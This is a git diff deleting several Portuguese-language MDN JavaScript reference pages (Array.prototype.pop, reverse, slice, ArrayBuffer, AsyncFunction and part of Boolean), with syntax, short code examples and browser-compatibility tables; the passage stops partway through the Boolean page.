-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES3')}}</td>
- <td>{{Spec2('ES3')}}</td>
- <td>Definição inicial. Implementada no JavaScript 1.2.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Array.pop")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também </h2>
-
-<ul>
- <li>{{jsxref("Array.prototype.push()")}}</li>
- <li>{{jsxref("Array.prototype.shift()")}}</li>
- <li>{{jsxref("Array.prototype.unshift()")}}</li>
- <li>{{jsxref("Array.prototype.concat()")}}</li>
- <li>{{jsxref("Array.prototype.splice()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/reverse/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/reverse/index.html
deleted file mode 100644
index a442018c61..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/reverse/index.html
+++ /dev/null
@@ -1,133 +0,0 @@
----
-title: Array.prototype.reverse()
-slug: Web/JavaScript/Reference/Global_Objects/Array/reverse
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>reverse()</strong></code> inverte um vector (<code>Array</code>). O primeiro elemento torna-se o último, e o último elemento torna-se o primeiro.</p>
-
-<pre class="brush: js">var a = ['um', 'dois', 'três'];
-a.reverse();
-
-console.log(a); // ['três', 'dois', 'um']
-</pre>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><var>a</var>.reverse()</pre>
-
-<h3 id="Valor_devolvido">Valor devolvido</h3>
-
-<p>O vector (<code>Array</code>) invertido.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>O método <code>reverse</code> transpõe os elementos do vector que o chamou, mudando o vector, e devolvendo uma referência para o vector.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Invertendo_os_elementos_num_vector">Invertendo os elementos num vector</h3>
-
-<p>O exemplo que se segue cria um vector <code>a</code>, que contém três elementos, e depois o inverte. A chamada a <code>reverse()</code> devolve uma referência para o vector invertido <code>a</code>.</p>
-
-<pre class="brush: js">var a = ['um', 'dois', 'três'];
-var invertido = a.reverse();
-
-console.log(a); // ['três', 'dois', 'um']
-console.log(invertido); // ['três', 'dois', 'um']
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Edge</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome("1.0")}}</td>
- <td>{{CompatGeckoDesktop("1.7")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatIE("5.5")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Array.prototype.join()")}}</li>
- <li>{{jsxref("Array.prototype.sort()")}}</li>
- <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/slice/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/slice/index.html
deleted file mode 100644
index 48820a1ff7..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/slice/index.html
+++ /dev/null
@@ -1,154 +0,0 @@
----
-title: Array.prototype.slice()
-slug: Web/JavaScript/Reference/Global_Objects/Array/slice
-tags:
- - Array
- - JavaScript
- - Prototipo
- - Referencia
- - metodo
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>slice()</strong></code> devolve uma cópia rasa (é feita uma cópia dos <em>pointers</em> se for um objeto) de uma parte de uma matriz num novo objeto de <code>array</code> selecionado do <code>start</code> (início incluído) ao <code>end</code> (fim excluído) onde o <code>start</code> e o <code>end</code> representam o índice de itens dessa matriz. A matriz original não é modificada.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/array-slice.html")}}</div>
-
-<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate"><var>arr</var>.slice([<var>start</var>[, <var>end</var>]])
-</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code><var>start</var></code> {{optional_inline}}</dt>
- <dd>Indice de base zero, onde coméça a cópia.</dd>
- <dd>Um índice negativo pode ser utilizado, indicando um intervalo a partir do fim da sequência. <code>slice(-2)</code> extrai os dois últimos elementos da sequência.</dd>
- <dd>Se <code><var>start</var></code> é undefined, <code>slice</code> coméça a partir do indice <code>0</code>.</dd>
- <dd>Se <code><var>start</var></code> é maior que o último índice da sequência, uma matriz vazia é devolvida.</dd>
- <dt><code><var>end</var></code> {{optional_inline}}</dt>
- <dd>Índice antes do qual se deve terminar a extração. <code>slice</code> extrai até o valor de indice <code>end</code>, mas sem incluir <code>end</code>. Por exemplo, <code>slice(1,4)</code> extrai do segundo até ao quarto elemento (elementos indexados 1, 2, e 3).</dd>
- <dd>Pode ser utilizado um índice negativo, indicando o último índice a partir do fim da sequência. <code>slice(2,-1)</code> extrai do terceiro até ao penúltimo elemento na sequência.</dd>
- <dd>Se <code>end</code> é omisso, <code>slice</code> extrai todos os elementos até ao fim da sequência (<code>arr.length</code>).</dd>
- <dd>Se <code>end</code> é maior que o comprimento da sequência, <code>slice</code> extrai todos os elementos até ao fim da sequência (<code>arr.length</code>).</dd>
-</dl>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>Uma matriz nova contendo os elementos extraídos.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p><code>slice</code> não altera a matriz original. Devolve uma cópia rasa dos elementos da matriz original. Os elementos da matriz original são copiados para a matriz devolvida como se segue:</p>
-
-<ul>
- <li>Para referências de objectos (e não o objecto real), <code>slice</code> copia as referências de objectos para a nova matriz. Tanto o original como a nova matriz referem-se ao mesmo objecto. Se um objecto referenciado mudar, as mudanças são visíveis tanto para a nova matriz como para a original.</li>
- <li>Para strings, números e booleanos (não {{jsxref("String")}}, {{jsxref("Number")}} e {{jsxref("Booleano")}} objetos), <code>slice</code> copia os valores para a nova matriz. Alterações à string, número, ou booleano numa matriz não afetam a outra matriz.</li>
-</ul>
-
-<p>Se um novo elemento é adicionado a qualquer das matrizes, a outra matriz não é afetada.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Devolver_uma_porção_duma_matriz">Devolver uma porção duma matriz</h3>
-
-<pre class="brush: js notranslate">let fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
-let citrus = fruits.slice(1, 3)
-
-// fruits contêm ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
-// citrus contêm ['Orange','Lemon']
-</pre>
-
-<h3 id="Usar_slice">Usar <code>slice</code></h3>
-
-<p>No seguinte exemplo, <code>slice</code> cria uma <em>array</em> (matriz), <code>newCar</code>, a partir de <code>myCar</code>. Ambos incluem uma referência ao objeto <code>myHonda</code>. Quando a propriedade <em>color</em> (cor) de <code>myHonda</code> é mudada para <em>purple</em> (roxo), ambas matrizes refletem a alteração.</p>
-
-<pre class="brush: js notranslate">// Usando slice, cria newCar a partir de myCar.
-let myHonda = { color: 'red', wheels: 4, engine: { cylinders: 4, size: 2.2 } }
-let myCar = [myHonda, 2, 'cherry condition', 'purchased 1997']
-let newCar = myCar.slice(0, 2)
-
-// Imprime os valors de myCar, newCar, a propriadade
-// color de myHonda em ambas arrays.
-console.log('myCar = ' + JSON.stringify(myCar))
-console.log('newCar = ' + JSON.stringify(newCar))
-console.log('myCar[0].color = ' + myCar[0].color)
-console.log('newCar[0].color = ' + newCar[0].color)
-
-// Mude a propriadade color de myHonda.
-myHonda.color = 'purple'
-console.log('A nova cor de my Honda é ' + myHonda.color)
-
-// Imprime a propriadade color de myHonda em ambas arrays.
-console.log('myCar[0].color = ' + myCar[0].color)
-console.log('newCar[0].color = ' + newCar[0].color)
-</pre>
-
-<p>Este <em>script</em> imprime:</p>
-
-<pre class="notranslate">myCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2,
- 'cherry condition', 'purchased 1997']
-newCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2]
-myCar[0].color = red
-newCar[0].color = red
-A nova cor de my Honda é purple
-myCar[0].color = purple
-newCar[0].color = purple
-</pre>
-
-<h3 id="Objetos_parecidos_com_Array">Objetos parecidos com Array</h3>
-
-<p>O método <code>slice</code> tembém pode ser chamado para converter objetos / coleções do estilo matriz para um objeto <code>Array</code>. É só preciso {{jsxref("Function.prototype.bind", "<em>bind</em>")}} o método ao objeto. Os {{jsxref("Functions/arguments", "argumentos")}} dentro da função são um exemplo de um "objeto de estilo matriz".</p>
-
-<pre class="brush: js notranslate">function list() {
- return Array.prototype.slice.call(arguments)
-}
-
-let list1 = list(1, 2, 3) // [1, 2, 3]
-</pre>
-
-<p><em>Binding</em> pode ser feito com o método {{jsxref("Function.prototype.call", "call()")}} de {{jsxref("Function.prototype")}} e também pode ser simplificado a usar  <code>[].slice.call(arguments)</code> invés de <code>Array.prototype.slice.call</code>.</p>
-
-<p>Pode ser simplificado a usar {{jsxref("Function.prototype.bind", "bind")}}.</p>
-
-<pre class="brush: js notranslate">let unboundSlice = Array.prototype.slice
-let slice = Function.prototype.call.bind(unboundSlice)
-
-function list() {
- return slice(arguments)
-}
-
-let list1 = list(1, 2, 3) // [1, 2, 3]</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("javascript.builtins.Array.slice")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{jsxref("Array.prototype.splice()")}}</li>
- <li>{{jsxref("Function.prototype.call()")}}</li>
- <li>{{jsxref("Function.prototype.bind()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/arraybuffer/index.html b/files/pt-pt/web/javascript/reference/global_objects/arraybuffer/index.html
deleted file mode 100644
index c612f44b26..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/arraybuffer/index.html
+++ /dev/null
@@ -1,219 +0,0 @@
----
-title: ArrayBuffer
-slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
-translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
----
-<div>{{JSRef}}</div>
-
-<div><strong><code>ArrayBuffer </code></strong>é um objeto utilizado para representar um buffer de dados em binário de tamanho pré-definido. Não é possivel manipular o conteudo do buffer diretamente; em vez disso, tem de se criar um dos <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">typed array objects</a> ou um objeto {{jsxref("DataView")}} que representa um buffer num formato especifico, e usa-o para ler e escrever  o conteudo do buffer. </div>
-
-<div> </div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">new ArrayBuffer(length)
-</pre>
-
-<h3 id="Parametros">Parametros</h3>
-
-<dl>
- <dt><code>length</code></dt>
- <dd>O tamanho, em bytes, do array buffer que se pretende criar.</dd>
-</dl>
-
-<h3 id="Retorno">Retorno</h3>
-
-<p> Um novo objecto do tipo <code>ArrayBuffer</code> do tamanho especificado. O respetivo conteudo é inicializado a 0.</p>
-
-<h3 id="Excepções">Excepções</h3>
-
-<p>A {{jsxref("RangeError")}} é lançada caso o tamanho (<code>length) </code>é maior do que<code> </code>{{jsxref("Number.MAX_SAFE_INTEGER")}} (&gt;= 2 ** 53) ou caso seja negativo.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>O construtor de <code>ArrayBuffer</code> cria um novo objeto do tipo <code>ArrayBuffer</code> com o tamanho especificado em bytes.</p>
-
-<h3 id="Obter_um_array_buffer_a_partir_de_dados_existentes">Obter um array buffer a partir de dados existentes</h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">From a Base64 string</a></li>
- <li><a href="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()">From a local file</a></li>
-</ul>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt><code>ArrayBuffer.length</code></dt>
- <dd>Propriedade length do construtor de  <code>ArrayBuffer </code>cujo valor é 1.</dd>
- <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt>
- <dd>A função do contrutor que é usado para criar objetos derivados.</dd>
- <dt>{{jsxref("ArrayBuffer.prototype")}}</dt>
- <dd>Permite adicionar novas propriedades a todos os objetos do tipo <code>ArrayBuffer.</code></dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt>
- <dd>Devolve <code>true </code>caso <code>arg </code>é  um tipo de representação do ArrayBuffer, como <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">typed array objects</a> ou {{jsxref("DataView")}}. Devolve <code>false </code>caso contrário</dd>
- <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt>
- <dd>Devolve um novo objeto <code>ArrayBuffer </code>cujo conteúdo é obtido do <code>oldBuffer </code>e ou é truncado ou preenchido a zeros pelo <code> newByteLength.</code></dd>
-</dl>
-
-<h2 id="Instâncias_ArrayBuffer">Instâncias ArrayBuffer</h2>
-
-<p>Todas as instâncias de <code>ArrayBuffer</code> herdam de {{jsxref("ArrayBuffer.prototype")}}.</p>
-
-<h3 id="Propriedades_2">Propriedades</h3>
-
-<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Properties')}}</p>
-
-<h3 id="Métodos_2">Métodos</h3>
-
-<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Methods')}}</p>
-
-<dl>
- <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt>
- <dd>Tem a mesma funcionalidade que {{jsxref("ArrayBuffer.prototype.slice()")}}.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Neste exemplo, criamos um buffer de 8 bytes com representação {{jsxref("Global_Objects/Int32Array", "Int32Array")}} a referênciar o buffer:</p>
-
-<pre class="brush: js">var buffer = new ArrayBuffer(8);
-var view = new Int32Array(buffer);</pre>
-
-<h2 id="Especificação">Especificação</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Status</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('Typed Array')}}</td>
- <td>{{Spec2('Typed Array')}}</td>
- <td>Substituido por ECMAScript 6.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>
- <p>Definição inicial no stardard da ECMA. Especificar que <code>new </code>era necessário.</p>
- </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_nos_navegadores">Compatibilidade nos navegadores</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>7.0</td>
- <td>{{CompatGeckoDesktop("2")}}</td>
- <td>10</td>
- <td>11.6</td>
- <td>5.1</td>
- </tr>
- <tr>
- <td><code>ArrayBuffer()</code> without <code>new</code> throws</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("44")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}<br>
- {{CompatNo}} {{CompatGeckoDesktop("53")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>4.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("2")}}</td>
- <td>10</td>
- <td>11.6</td>
- <td>4.2</td>
- </tr>
- <tr>
- <td><code>ArrayBuffer()</code> without <code>new</code> throws</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile("44")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}<br>
- {{CompatNo}} {{CompatGeckoMobile("53")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Notas_de_compatibilidade">Notas de compatibilidade</h2>
-
-<p>Com ECMAScript 2015, construtores de <code>ArrayBuffer </code>são obrigados a usar o operador<code> </code>{{jsxref("Operators/new", "new")}}. Daqui adiante ao invocar <code>ArrayBuffer </code>como uma função sem<code> new </code>irá lançar uma exceção {{jsxref("TypeError")}}.</p>
-
-<pre class="brush: js example-bad">var dv = ArrayBuffer(10);
-// TypeError: calling a builtin ArrayBuffer constructor
-// without new is forbidden</pre>
-
-<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
- <li>{{jsxref("SharedArrayBuffer")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/asyncfunction/index.html b/files/pt-pt/web/javascript/reference/global_objects/asyncfunction/index.html
deleted file mode 100644
index 4e454bacd9..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/asyncfunction/index.html
+++ /dev/null
@@ -1,124 +0,0 @@
----
-title: AsyncFunction
-slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction
-translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
----
-<div>{{JSRef}}</div>
-
-<div>O constructor da função <strong>Async</strong> cria um novo objecto {{jsxref("Statements/async_function", "async function")}}. Em Javascript todas as funções asíncronas são na verdade objectos <code>AsyncFunction.</code></div>
-
-<p> </p>
-
-<p>Note-se que <code>AsyncFunction</code> não é um objecto global. Pode ser obtido da seguinte forma.</p>
-
-<pre class="brush: js">Object.getPrototypeOf(async function(){}).constructor
-</pre>
-
-<h2 id="Síntaxe">Síntaxe</h2>
-
-<pre class="syntaxbox">new AsyncFunction([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
- <dd>Nomes usados pela função como nomes formais de argumentos . Cada um dos argumentos tem que ser uma <em>string</em> que corresponde a um identificador válido JavaScript ou uma lista separada por vírgulas; por exemplo "<code>x</code>", "<code>theValue</code>", ou "<code>a,b</code>".</dd>
- <dt><code>functionBody</code></dt>
- <dd>Uma <em>string</em> com os termos JavaScript que fazem parte da definição da função.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Os objectos {{jsxref("Statements/async_function", "async function")}} criados com o <em>constructor</em> <code>AsyncFunction</code> passam por um <em>parsing</em> quando as funções são criadas. Isto é menos eficiente que declarar uma função asíncrona com {{jsxref("Statements/async_function", "async function expression")}} e chamá-la no código porque dessa forma a função passa pelo <em>parsing</em> ao mesmo tempo que o resto do código.</p>
-
-<p>Todos os argumentos passados à função são tratados como os nomes dos identificadores dos parâmetros na função a ser criada, na ordem que são declarados.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> {{jsxref("Statements/async_function", "async functions")}} criado com o <em>constructor</em> <code>AsyncFunction</code> não estão encapsulados ao contexto da sua criação, são sempre criados no âmbito global.</p>
-
-<p>Ao correr, podem aceder às suas prórpias variáveis e às variáveis globais, no entanto não conseguem aceder às que estão no contexto donde o constructor <code>AsyncFunction</code> foi chamado. Isto é diferente de chamar {{jsxref("Global_Objects/eval", "eval")}} com código para uma função asíncrona.</p>
-</div>
-
-<p>A invocação do constructor <code>AsyncFunction</code> como uma função, i.e. sem usar o operador <code>new</code> tem o mesmo efeito que invocá-lo como <em>constructor</em>.</p>
-
-<p>Invoking the <code>AsyncFunction</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt><code><strong>AsyncFunction.length</strong></code></dt>
- <dd>A propriedade comprimento do <em>constructor</em> do <code>AsyncFunction</code>, cujo valor é 1.</dd>
- <dt>{{jsxref("AsyncFunction.prototype")}}</dt>
- <dd>Permite adicionar propriedades a todos os objectos que são funções asíncronas.</dd>
-</dl>
-
-<h2 id="AsyncFunction_prototype_object"><code>AsyncFunction</code> prototype object</h2>
-
-<h3 id="Propriedades_2">Propriedades</h3>
-
-<div>{{page('/pt-PT/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype', 'Properties')}}</div>
-
-<h2 id="Instâncias_de_AsyncFunction">Instâncias de <code>AsyncFunction</code></h2>
-
-<p>As instâncias de <code>AsyncFunction</code> herdam métodos e propriedades do {{jsxref("AsyncFunction.prototype")}}. Tal como com qualquer <em>constructor</em> pode-se mudar o <em>prototype object</em> para aplicar mudanças a todos as instâncias de <code>AsyncFunction</code>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Exemplo_de_criação_de_uma_função_async_a_partir_de_um_constructor_AsyncFunction">Exemplo de criação de uma função <em>async</em> a partir de um <em>constructor</em> <code>AsyncFunction</code></h3>
-
-<pre class="brush: js">function resolveAfter2Seconds(x) {
- return new Promise(resolve =&gt; {
- setTimeout(() =&gt; {
- resolve(x);
- }, 2000);
- });
-}
-
-var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
-
-var a = new AsyncFunction('a',
- 'b',
- 'return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);');
-
-a(10, 20).then(v =&gt; {
- console.log(v); // prints 30 after 4 seconds
-});
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td>Definição inicial em ES2017.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.AsyncFunction")}}</p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Statements/async_function", "async function function")}}</li>
- <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
- <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
- <li>{{jsxref("Statements/function", "function statement")}}</li>
- <li>{{jsxref("Operators/function", "function expression")}}</li>
- <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/boolean/index.html b/files/pt-pt/web/javascript/reference/global_objects/boolean/index.html
deleted file mode 100644
index e8482a2c0e..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/boolean/index.html
+++ /dev/null
@@ -1,156 +0,0 @@
----
-title: Booliano
-slug: Web/JavaScript/Reference/Global_Objects/Boolean
-tags:
- - Boolean
- - Booliano
- - Constructor
- - JavaScript
-translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
----
-<div>{{JSRef}}</div>
-
-<p>O objeto <strong><code>Boolean</code></strong> é um <em>wrapper</em> objeto para um valor booliano.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">new Boolean([<var>value</var>])</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><em><code>value</code></em></dt>
- <dd>Opcional. O valor incial do objeto <em><code>Boolean</code></em>.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>The value passed as the first parameter is converted to a boolean value, if necessary. If the value is omitted or is <code>0</code>, <code>-0</code>, {{jsxref("null")}}, <code>false</code>, {{jsxref("NaN")}}, {{jsxref("undefined")}}, or the empty string (<code>""</code>), the object has an initial value of <code>false</code>. If the DOM object {{domxref("document.all")}} is passed as a parameter, the new boolean object also has an initial value of <code>false</code>. All other values, including any object or the string <code>"false"</code>, create an object with an initial value of <code>true</code>.</p>
-
-<p>Do not confuse the primitive <code>Boolean</code> values <code>true</code> and <code>false</code> with the <code>true</code> and <code>false</code> values of the <code>Boolean</code> object.</p>
-
-<p>Any object of which the value is not {{jsxref("undefined")}} or {{jsxref("null")}}, including a <code>Boolean</code> object whose value is <code>false</code>, evaluates to <code>true</code> when passed to a conditional statement. For example, the condition in the following {{jsxref("Statements/if...else", "if")}} statement evaluates to <code>true</code>:</p>
-
-<pre class="brush: js">var x = new Boolean(false);
-if (x) {
- // this code is executed
-}
-</pre>
-
-<p>This behavior does not apply to <code>Boolean</code> primitives. For example, the condition in the following {{jsxref("Statements/if...else", "if")}} statement evaluates to <code>false</code>:</p>
-
-<pre class="brush: js">var x = false;
-if (x) {
- // this code is not executed
-}
-</pre>
-
-<p>Do not use a <code>Boolean</code> object to convert a non-boolean value to a boolean value. Instead, use <code>Boolean</code> as a function to perform this task:</p>
-
-<pre class="brush: js">var x = Boolean(expression); // preferred
-var x = new Boolean(expression); // don't use
